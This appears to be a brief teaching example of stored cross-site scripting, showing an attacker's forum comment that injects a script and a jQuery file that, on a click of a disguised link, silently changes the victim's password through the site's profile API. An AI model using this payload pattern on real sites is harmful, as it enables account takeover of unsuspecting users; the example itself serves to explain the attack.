XSS Example

xss.html

<!-- User -->
<comment>
Hi can anyone recommend a good film?
</comment>

<!-- Attacker-->
<comment>
  <script src="xss.js"></script>
  I like star wars!
  <a id="its-a-trap" href="#">Check it out.</a>
</comment>

xss.js

$( "#its-a-trap" ).click(function() {
    $.ajax({
    type: "PUT",
    url: '/api/profile',
    data: { password: 'JEDI WAS HERE' }
  });
});